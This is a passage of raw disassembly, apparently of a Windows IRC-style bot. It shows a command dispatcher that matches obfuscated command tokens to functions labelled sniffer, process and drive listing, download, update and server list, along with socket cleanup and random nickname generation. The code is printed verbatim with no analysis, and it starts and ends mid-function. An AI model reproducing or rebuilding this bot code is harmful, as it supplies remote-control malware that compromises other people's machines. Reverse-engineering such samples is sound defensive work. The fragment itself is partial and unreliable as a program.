[ebp+var_10] pop ecx fstp qword ptr [ebp-8] call sub_4220FC mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul qword ptr [ebp-8] fmul dbl_42F2F0 call sub_4234BC mov al, byte ptr a_[eax] ; "-|`_\\{[]}" mov [esi], al loc_4037AD: ; CODE XREF: sub_403625+11Cj ; sub_403625+12Dj ... push dword ptr [ebp+var_18+4] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_421F40 add esp, 0Ch loc_4037C0: ; CODE XREF: sub_403625+DCj lea eax, [ebp+var_2C] push eax call sub_422120 mov esi, eax mov [ebp+var_4], esi movsx eax, [ebp+esi+var_2D] push eax call sub_423350 pop ecx test eax, eax pop ecx jnz loc_403A17 movsx eax, [ebp+esi+var_2D] push eax push edi xor ebx, ebx call sub_4233B0 pop ecx test eax, eax pop ecx jnz loc_403919 call sub_4220FC mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_42F2F0 call sub_4234BC cmp esi, 3 jz short loc_40382A cmp eax, 1 jnz loc_403919 loc_40382A: ; CODE XREF: sub_403625+1FAj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_40386E push edi call sub_422120 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_42F2F0 call sub_4234BC mov al, byte ptr a_[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_40388C ; --------------------------------------------------------------------------- loc_40386E: ; CODE XREF: sub_403625+20Ej call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2E0 call sub_4234BC mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_40388C: ; CODE XREF: sub_403625+247j inc esi xor ebx, ebx mov [ebp+var_4], esi inc ebx call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2D8 call sub_4234BC cmp esi, 3 jz short loc_4038B2 cmp eax, ebx jnz short loc_403919 loc_4038B2: ; CODE XREF: sub_403625+287j push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4038F7 push edi call sub_422120 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_42F2F0 call sub_4234BC mov al, byte ptr a_[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_403915 ; --------------------------------------------------------------------------- loc_4038F7: ; CODE XREF: sub_403625+297j call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2E0 call sub_4234BC mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_403915: ; CODE XREF: sub_403625+2D0j inc esi mov [ebp+var_4], esi loc_403919: ; CODE XREF: sub_403625+1D0j ; sub_403625+1FFj ... cmp esi, 6 jge short loc_403999 call sub_4220FC cmp esi, 5 jge short loc_403936 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2F8 jmp short loc_40394F ; --------------------------------------------------------------------------- loc_403936: ; CODE XREF: sub_403625+301j push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_42F2F0 loc_40394F: ; CODE XREF: sub_403625+30Fj call sub_4234BC test eax, eax jnz short loc_403972 call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2D0 call sub_4234BC mov cl, 30h jmp short loc_40398F ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_403625+331j cmp eax, 1 jnz short loc_403999 call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2E0 call sub_4234BC mov cl, 41h loc_40398F: ; CODE XREF: sub_403625+34Bj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_403999: ; CODE XREF: sub_403625+2F7j ; sub_403625+350j cmp ebx, 2 jge short loc_403A17 call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_42F2F0 call sub_4234BC cmp eax, 1 jnz short loc_403A17 call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2D0 call sub_4234BC mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2C8 call sub_4234BC cmp eax, 1 jnz short loc_403A17 cmp ebx, eax jge short loc_403A17 call sub_4220FC mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_42F2C0 call sub_4234BC mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_403A17: ; CODE XREF: sub_403625+1B8j ; sub_403625+377j ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_4222F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_403625 endp ; =============== S U B R O U T I N E ======================================= sub_403A30 proc near ; CODE XREF: sub_403B2C+3A9Ep push esi mov esi, offset dword_44D774 loc_403A36: ; CODE XREF: sub_403A30+2Dj cmp dword ptr [esi-4], 1 jnz short loc_403A49 mov eax, [esi] test eax, eax jbe short loc_403A49 push eax call dword_4543AC ; closesocket loc_403A49: ; CODE XREF: sub_403A30+Aj ; sub_403A30+10j push dword ptr [esi] call dword_42F298 ; closesocket add esi, 210h cmp esi, offset dword_453E94 jl short loc_403A36 xor eax, eax pop esi retn sub_403A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A63 proc near ; CODE XREF: sub_403B2C+7C2p ; sub_419F6A+169p var_5B0 = byte ptr -5B0h var_5AF = byte ptr -5AFh var_1B0 = byte ptr -1B0h var_158 = byte ptr -158h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 5B0h push ebx push esi push edi lea eax, [ebp+var_5B0] push [ebp+arg_0] push eax call dword_42F04C ; lstrcpyA cmp [ebp+var_5AF], 0 jz loc_403B24 mov al, [ebp+var_5B0] cmp al, byte_439016 jnz loc_403B24 push 40h lea eax, [ebp+var_100] push [ebp+arg_0] push eax call sub_41EF08 mov ebx, eax lea eax, [ebp+var_100] push ebx push eax lea eax, [ebp+var_1B0] push eax call sub_4199D7 add esp, 18h cmp [ebp+var_100], 0 mov esi, eax lea edi, [ebp+var_158] push 16h pop ecx rep movsd jz short loc_403B24 mov eax, [ebp+var_100] mov al, [eax] cmp al, byte_439016 jnz short loc_403B24 push [ebp+arg_10] inc [ebp+var_100] lea eax, [ebp+var_5B0] lea esi, [ebp+var_158] sub esp, 58h push 16h pop ecx mov edi, esp push [ebp+arg_8] rep movsd push [ebp+arg_4] push eax lea eax, [ebp+var_100] push ebx push eax call sub_403B2C add esp, 70h loc_403B24: ; CODE XREF: sub_403A63+23j ; sub_403A63+35j ... xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_403A63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B2C proc near ; CODE XREF: sub_403A63+B9p ; sub_419B2F+10Bp var_1BCAC = byte ptr -1BCACh var_1ACAC = byte ptr -1ACACh var_19CAC = byte ptr -19CACh var_18CAC = byte ptr -18CACh var_17CAC = byte ptr -17CACh var_16CAC = byte ptr -16CACh var_15CAC = byte ptr -15CACh var_14CAC = byte ptr -14CACh var_13CAC = byte ptr -13CACh var_12CAC = byte ptr -12CACh var_11CAC = byte ptr -11CACh var_10CAC = byte ptr -10CACh var_FCAC = byte ptr -0FCACh var_ECAC = byte ptr -0ECACh var_DCAC = byte ptr -0DCACh var_CCAC = byte ptr -0CCACh var_BCAC = byte ptr -0BCACh var_ACAC = byte ptr -0ACACh var_9CAC = byte ptr -9CACh var_8CAC = byte ptr -8CACh var_7CAC = byte ptr -7CACh var_6CAC = byte ptr -6CACh var_5CAC = byte ptr -5CACh var_5B18 = byte ptr -5B18h var_58DC = byte ptr -58DCh var_54D8 = byte ptr -54D8h var_529C = byte ptr -529Ch var_5198 = byte ptr -5198h var_5094 = dword ptr -5094h var_5090 = byte ptr -5090h var_4C90 = byte ptr -4C90h var_4890 = byte ptr -4890h var_4810 = dword ptr -4810h var_480C = dword ptr -480Ch var_4808 = dword ptr -4808h var_4800 = dword ptr -4800h var_47FC = dword ptr -47FCh var_47F8 = dword ptr -47F8h var_47F4 = dword ptr -47F4h var_47F0 = dword ptr -47F0h var_47EC = byte ptr -47ECh var_46E8 = byte ptr -46E8h var_45E8 = dword ptr -45E8h var_45E4 = dword ptr -45E4h var_44E4 = byte ptr -44E4h var_43E4 = byte ptr -43E4h var_42E0 = byte ptr -42E0h var_41E0 = byte ptr -41E0h var_40DC = byte ptr -40DCh var_3FDC = byte ptr -3FDCh var_3EDC = byte ptr -3EDCh var_3DD8 = byte ptr -3DD8h var_3CD8 = byte ptr -3CD8h var_3C58 = dword ptr -3C58h var_3C54 = byte ptr -3C54h var_3BD4 = dword ptr -3BD4h var_3B9C = dword ptr -3B9Ch var_3A18 = dword ptr -3A18h var_3A14 = byte ptr -3A14h var_3994 = dword ptr -3994h var_3984 = dword ptr -3984h var_3980 = dword ptr -3980h var_3968 = dword ptr -3968h var_3964 = dword ptr -3964h var_395C = dword ptr -395Ch var_37D8 = byte ptr -37D8h var_36D4 = dword ptr -36D4h var_36D0 = byte ptr -36D0h var_3650 = dword ptr -3650h var_3640 = dword ptr -3640h var_3624 = dword ptr -3624h var_3620 = dword ptr -3620h var_361C = dword ptr -361Ch var_3618 = dword ptr -3618h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = dword ptr -3410h var_33F4 = dword ptr -33F4h var_33E4 = dword ptr -33E4h var_33E0 = dword ptr -33E0h var_33D8 = dword ptr -33D8h var_3254 = byte ptr -3254h var_3150 = byte ptr -3150h var_2150 = dword ptr -2150h var_214C = byte ptr -214Ch var_20CC = dword ptr -20CCh var_20C8 = dword ptr -20C8h var_20C4 = dword ptr -20C4h var_20BC = dword ptr -20BCh var_20B8 = dword ptr -20B8h var_20B4 = dword ptr -20B4h var_20A0 = dword ptr -20A0h var_209C = dword ptr -209Ch var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_1F10 = dword ptr -1F10h var_1F00 = dword ptr -1F00h var_1E7C = dword ptr -1E7Ch var_1E78 = dword ptr -1E78h var_1DF4 = byte ptr -1DF4h var_1D70 = dword ptr -1D70h var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = byte ptr -1D60h var_1CE0 = dword ptr -1CE0h var_1CDC = dword ptr -1CDCh var_1CD8 = dword ptr -1CD8h var_1CD0 = dword ptr -1CD0h var_1CCC = dword ptr -1CCCh var_1CC8 = dword ptr -1CC8h var_1CC4 = dword ptr -1CC4h var_1CB4 = dword ptr -1CB4h var_1CB0 = dword ptr -1CB0h var_1CAC = dword ptr -1CACh var_1CA8 = dword ptr -1CA8h var_1B24 = dword ptr -1B24h var_1B1C = byte ptr -1B1Ch var_1A9C = byte ptr -1A9Ch var_1A1C = byte ptr -1A1Ch var_199C = dword ptr -199Ch var_1998 = dword ptr -1998h var_1994 = dword ptr -1994h var_198C = dword ptr -198Ch var_1988 = dword ptr -1988h var_1984 = byte ptr -1984h var_1904 = dword ptr -1904h var_1900 = dword ptr -1900h var_18D8 = dword ptr -18D8h var_18D4 = dword ptr -18D4h var_18D0 = dword ptr -18D0h var_18CC = dword ptr -18CCh var_1748 = byte ptr -1748h var_1710 = byte ptr -1710h var_16D8 = dword ptr -16D8h var_16D4 = byte ptr -16D4h var_15D4 = byte ptr -15D4h var_1554 = dword ptr -1554h var_1550 = dword ptr -1550h var_154C = dword ptr -154Ch var_1548 = dword ptr -1548h var_1540 = dword ptr -1540h var_153C = dword ptr -153Ch var_1538 = dword ptr -1538h var_1534 = dword ptr -1534h var_1530 = dword ptr -1530h var_152C = byte ptr -152Ch var_1428 = byte ptr -1428h var_13A8 = byte ptr -13A8h var_1320 = dword ptr -1320h var_131C = dword ptr -131Ch var_1314 = byte ptr -1314h var_1210 = dword ptr -1210h var_1208 = byte ptr -1208h var_1188 = byte ptr -1188h var_1108 = byte ptr -1108h var_1088 = dword ptr -1088h var_1084 = dword ptr -1084h var_1080 = dword ptr -1080h var_107C = dword ptr -107Ch var_1078 = dword ptr -1078h var_1074 = dword ptr -1074h var_1070 = dword ptr -1070h var_106C = dword ptr -106Ch var_1068 = dword ptr -1068h var_1060 = byte ptr -1060h var_FE0 = byte ptr -0FE0h var_F58 = dword ptr -0F58h var_F54 = dword ptr -0F54h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F48 = dword ptr -0F48h var_F44 = dword ptr -0F44h var_F3C = dword ptr -0F3Ch var_F38 = dword ptr -0F38h var_F30 = byte ptr -0F30h var_EB0 = byte ptr -0EB0h var_E28 = dword ptr -0E28h var_E24 = dword ptr -0E24h var_E20 = dword ptr -0E20h var_E1C = dword ptr -0E1Ch var_E18 = dword ptr -0E18h var_E14 = dword ptr -0E14h var_E0C = dword ptr -0E0Ch var_E08 = dword ptr -0E08h var_E00 = byte ptr -0E00h var_D80 = byte ptr -0D80h var_CF8 = dword ptr -0CF8h var_CF4 = dword ptr -0CF4h var_CF0 = dword ptr -0CF0h var_CEC = dword ptr -0CECh var_CE8 = dword ptr -0CE8h var_CE4 = dword ptr -0CE4h var_CDC = dword ptr -0CDCh var_CD8 = dword ptr -0CD8h var_CD0 = byte ptr -0CD0h var_C50 = byte ptr -0C50h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = dword ptr -0BC4h var_BC0 = dword ptr -0BC0h var_BBC = dword ptr -0BBCh var_BB8 = dword ptr -0BB8h var_BB4 = dword ptr -0BB4h var_BAC = byte ptr -0BACh var_B2C = byte ptr -0B2Ch var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A80 = byte ptr -0A80h var_A00 = byte ptr -0A00h var_980 = dword ptr -980h var_97C = dword ptr -97Ch var_978 = dword ptr -978h var_974 = dword ptr -974h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_964 = dword ptr -964h var_960 = dword ptr -960h var_95C = byte ptr -95Ch var_8DC = dword ptr -8DCh var_8D8 = dword ptr -8D8h var_8CC = dword ptr -8CCh var_8C8 = dword ptr -8C8h var_8AC = dword ptr -8ACh var_8A8 = dword ptr -8A8h var_8A4 = dword ptr -8A4h var_720 = dword ptr -720h var_71C = byte ptr -71Ch var_69C = dword ptr -69Ch var_698 = dword ptr -698h var_694 = dword ptr -694h var_68C = dword ptr -68Ch var_688 = dword ptr -688h var_684 = dword ptr -684h var_670 = dword ptr -670h var_66C = dword ptr -66Ch var_668 = dword ptr -668h var_664 = dword ptr -664h var_4E0 = byte ptr -4E0h var_4D0 = dword ptr -4D0h var_4CC = byte ptr -4CCh var_44C = dword ptr -44Ch var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = byte ptr -430h var_3B0 = dword ptr -3B0h var_3AC = dword ptr -3ACh var_3A8 = dword ptr -3A8h var_3A4 = dword ptr -3A4h var_3A0 = dword ptr -3A0h var_39C = dword ptr -39Ch var_398 = byte ptr -398h var_318 = byte ptr -318h var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_274 = dword ptr -274h var_270 = byte ptr -270h var_238 = byte ptr -238h var_228 = byte ptr -228h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_170 = dword ptr -170h var_16C = word ptr -16Ch var_16A = word ptr -16Ah var_168 = dword ptr -168h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = byte ptr -150h var_144 = byte ptr -144h var_134 = byte ptr -134h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = word ptr -70h var_6E = dword ptr -6Eh var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_2C = dword ptr 34h arg_30 = dword ptr 38h arg_34 = byte ptr 3Ch arg_38 = dword ptr 40h arg_50 = dword ptr 58h arg_54 = dword ptr 5Ch arg_58 = dword ptr 60h arg_5C = dword ptr 64h arg_60 = dword ptr 68h arg_68 = dword ptr 70h arg_6C = dword ptr 74h push ebp mov ebp, esp mov eax, 1BCACh call sub_4220C0 push ebx mov ebx, dword_42F070 push esi mov esi, [ebp+arg_0] push edi xor edi, edi cmp [ebp+arg_6C], edi jz short loc_403B6E push dword ptr [esi] push offset aC7rq4Xpvel_ ; "c7RQ4/xPvel." call ebx ; dword_42F070 test eax, eax jz loc_40AF54 push dword ptr [esi] push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1" call ebx ; dword_42F070 test eax, eax jz loc_40AF54 loc_403B6E: ; CODE XREF: sub_403B2C+1Ej cmp [ebp+arg_24], edi jz loc_403D83 push dword ptr [esi] push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue." call ebx ; dword_42F070 test eax, eax jnz short loc_403BB6 push offset aThreadList ; "Thread List" push 5 loc_403B8B: ; CODE XREF: sub_403B2C+AFj ; sub_403B2C+C5j ... cmp [ebp+arg_18], edi mov eax, [ebp+arg_C] push edi push [ebp+arg_20] jnz short loc_403BA6 push edi push [ebp+arg_14] push [ebp+arg_10] push dword ptr [eax+0Ch] jmp loc_40A166 ; --------------------------------------------------------------------------- loc_403BA6: ; CODE XREF: sub_403B2C+69j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [eax] jmp loc_40A166 ; --------------------------------------------------------------------------- loc_403BB6: ; CODE XREF: sub_403B2C+56j push dword ptr [esi] push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C." call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aG3obv_r6j7h ; "g3obv.r6j7H/" call ebx ; dword_42F070 test eax, eax jnz short loc_403BDD push offset aSniffer ; "Sniffer" push 0Eh jmp short loc_403B8B ; --------------------------------------------------------------------------- loc_403BDD: ; CODE XREF: sub_403B2C+A6j push dword ptr [esi] push offset aHyomeIovtv_ ; "HyOMe/iovtV." call ebx ; dword_42F070 test eax, eax jnz short loc_403BF3 push offset aProcs ; "Procs" push 1 jmp short loc_403B8B ; --------------------------------------------------------------------------- loc_403BF3: ; CODE XREF: sub_403B2C+BCj push dword ptr [esi] push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" call ebx ; dword_42F070 test eax, eax jz loc_403D77 push dword ptr [esi] push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/" call ebx ; dword_42F070 test eax, eax jz loc_403D77 push dword ptr [esi] push offset a9bwj__lz2my0 ; "9bWj..lZ2My0" call ebx ; dword_42F070 test eax, eax jnz short loc_403C44 push [ebp+arg_20] cmp [ebp+arg_18], edi mov eax, [ebp+arg_C] push [ebp+arg_14] push [ebp+arg_10] jnz short loc_403C38 push dword ptr [eax+0Ch] jmp short loc_403C3A ; --------------------------------------------------------------------------- loc_403C38: ; CODE XREF: sub_403B2C+105j push dword ptr [eax] loc_403C3A: ; CODE XREF: sub_403B2C+10Aj call sub_40281E jmp loc_40ADAB ; --------------------------------------------------------------------------- loc_403C44: ; CODE XREF: sub_403B2C+F4j push dword ptr [esi] push offset aWyf3k1fthkz_ ; "WyF3K1fTHKz." call ebx ; dword_42F070 test eax, eax jnz short loc_403C5D push offset aDriveList ; "Drive list" push 7 jmp loc_403B8B ; --------------------------------------------------------------------------- loc_403C5D: ; CODE XREF: sub_403B2C+123j push dword ptr [esi] push offset a7tmte_meccn ; "7Tmte.MEccn/" call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aWn7_tNza2v ; "wN7.t/nZA2V/" call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aGkyv90skypy ; "gkYv90Skypy/" call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1" call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aNPbw1sdkiw_ ; "N/pbW1sDKiw." call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aFdxpb0leh21_ ; "fDxPB0lEh21." call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aUts3o_rfmks_ ; "uts3o.RfmkS." call ebx ; dword_42F070 test eax, eax jz loc_403D6B push dword ptr [esi] push offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1" call ebx ; dword_42F070 test eax, eax jz short loc_403D6B push dword ptr [esi] push offset aQxqog1goyq80 ; "QXqOg1gOYq80" call ebx ; dword_42F070 test eax, eax jz short loc_403D6B push dword ptr [esi] push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." call ebx ; dword_42F070 test eax, eax jnz short loc_403D13 push offset aDownload ; "Download" jmp short loc_403D25 ; --------------------------------------------------------------------------- loc_403D13: ; CODE XREF: sub_403B2C+1DEj push dword ptr [esi] push offset aNoazx1alvg0 ; "NoaZx1Alvg/0" call ebx ; dword_42F070 test eax, eax jnz short loc_403D2C push offset aUpdate ; "Update" loc_403D25: ; CODE XREF: sub_403B2C+1E5j push 0Ch jmp loc_403B8B ; --------------------------------------------------------------------------- loc_403D2C: ; CODE XREF: sub_403B2C+1F2j push dword ptr [esi] push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1" call ebx ; dword_42F070 test eax, eax jz short loc_403D5F push dword ptr [esi] push offset aJ2yyw_j09xc ; "j2yYw.J09XC/" call ebx ; dword_42F070 test eax, eax jz short loc_403D5F push dword ptr [esi] push offset aRiocl1kztwo0 ; "rioCl1kzTWO0" call ebx ; dword_42F070 test eax, eax jnz short loc_403D83 push offset dword_435C14 push 0Dh jmp loc_403B8B ; --------------------------------------------------------------------------- loc_403D5F: ; CODE XREF: sub_403B2C+20Bj ; sub_403B2C+218j push offset off_435C10 push 0Ah jmp loc_403B8B ; --------------------------------------------------------------------------- loc_403D6B: ; CODE XREF: sub_403B2C+95j ; sub_403B2C+13Cj ... push offset aStopped_ ; "Stopped." push 8 jmp loc_403B8B ; --------------------------------------------------------------------------- loc_403D77: ; CODE XREF: sub_403B2C+D2j ; sub_403B2C+E3j push offset aSecure ; "Secure" push 2 jmp loc_403B8B ; --------------------------------------------------------------------------- loc_403D83: ; CODE XREF: sub_403B2C+45j ; sub_403B2C+225j push offset aC7rq4Xpvel_ ; "c7RQ4/xPvel." push dword ptr [esi] call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_403DC2 cmp [ebp+arg_20], eax mov edi, [ebp+arg_C] mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." mov esi, offset aS_6 ; "[%s] ~" jz loc_407742 cmp [ebp+arg_18], eax jnz loc_40AD9F cmp [ebp+arg_14], eax jnz loc_40AF54 jmp loc_407732 ; --------------------------------------------------------------------------- loc_403DC2: ; CODE XREF: sub_403B2C+267j push dword ptr [esi] push offset a_hioo_5pweu_ ; ".HiOo.5pwEU." call ebx ; dword_42F070 test eax, eax jnz loc_403F13 push 20h push [ebp+arg_8] call sub_4233B0 mov esi, eax pop ecx cmp esi, edi pop ecx jz loc_40AF54 mov ebx, 1000h xor edi, edi push ebx lea eax, [ebp+var_8CAC] push edi push eax inc esi mov [ebp+arg_4], edi call sub_4221F0 push esi call sub_422120 add esp, 10h mov [ebp+arg_0], eax push edi push edi push esi call sub_422120 pop ecx push eax push esi call sub_41CEE1 push offset aH08_Drzwx_ ; "h/08./drzWX." lea eax, [ebp+var_8CAC] push offset aSCipherText ; "%s (Cipher text): \"" push eax call sub_422063 add esp, 1Ch cmp [ebp+arg_0], edi mov [ebp+arg_8], edi mov edi, [ebp+arg_C] jbe loc_403ED6 loc_403E46: ; CODE XREF: sub_403B2C+3A4j mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+esi] push eax push offset aX2_2x ; "\\x%2.2X" lea eax, [ebp+var_150] push 0Ch push eax call sub_42219B lea eax, [ebp+var_150] push eax call sub_422120 add [ebp+arg_4], eax add esp, 14h cmp [ebp+arg_4], 0FECh jb short loc_403EA4 lea eax, [ebp+var_8CAC] push eax push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 push ebx lea eax, [ebp+var_8CAC] push 0 push eax call sub_4221F0 add esp, 18h and [ebp+arg_4], 0 loc_403EA4: ; CODE XREF: sub_403B2C+34Ej lea eax, [ebp+var_150] push eax call sub_422120 push eax lea eax, [ebp+var_150] push eax lea eax, [ebp+var_8CAC] push eax call sub_421F40 add esp, 10h inc [ebp+arg_8] mov eax, [ebp+arg_8] cmp eax, [ebp+arg_0] jb loc_403E46 loc_403ED6: ; CODE XREF: sub_403B2C+314j lea eax, [ebp+var_8CAC] push offset asc_435BDC ; "\";" push eax call sub_423270 lea eax, [ebp+var_8CAC] push eax push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h push 0 push 0 push esi call sub_422120 pop ecx push eax push esi call sub_41CEE1 jmp loc_40ADAB ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_403B2C+2A1j push dword ptr [esi] push offset aDj9owUmrbd_ ; "dJ9OW/uMRBD." call ebx ; dword_42F070 test eax, eax jnz loc_404014 mov esi, [esi+4] cmp esi, edi jnz short loc_403F77 mov ecx, dword_45539C mov edx, offset aSsl ; " (SSL)" mov eax, ecx imul eax, 0B8h cmp dword_43970C[eax], edi jnz short loc_403F4B mov edx, offset byte_44D6A4 loc_403F4B: ; CODE XREF: sub_403B2C+418j push edx push dword_439708[eax] lea eax, dword_439658[eax] push eax mov eax, [ebp+arg_C] push ecx push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSCurrentServer ; "%s: [Current Server]: [%i:%s:%d%s]" push dword ptr [eax+0Ch] loc_403F6A: ; CODE XREF: sub_403B2C+4B5Fj push [ebp+arg_10] call sub_4104F6 jmp loc_40A16B ; --------------------------------------------------------------------------- loc_403F77: ; CODE XREF: sub_403B2C+3FDj push esi push offset aPlsymAee6v1 ; "PlsYM/aEe6v1" call ebx ; dword_42F070 test eax, eax jnz loc_40AF54 mov edi, [ebp+arg_C] mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." push ebx push offset aSServerList ; "%s [Server List]:" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 and [ebp+arg_C], 0 add esp, 10h cmp dword_43C170, 0 jle short loc_403FFE mov esi, offset dword_439708 loc_403FB5: ; CODE XREF: sub_403B2C+4D0j cmp dword ptr [esi+4], 0 mov eax, offset aSsl ; " (SSL)" jnz short loc_403FC5 mov eax, offset byte_44D6A4 loc_403FC5: ; CODE XREF: sub_403B2C+492j push offset dword_439638 push eax push dword ptr [esi] lea eax, [esi-0B0h] push eax push [ebp+arg_C] push offset aISDSS ; "[%i: %s:%d%s,%s]" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 20h inc [ebp+arg_C] 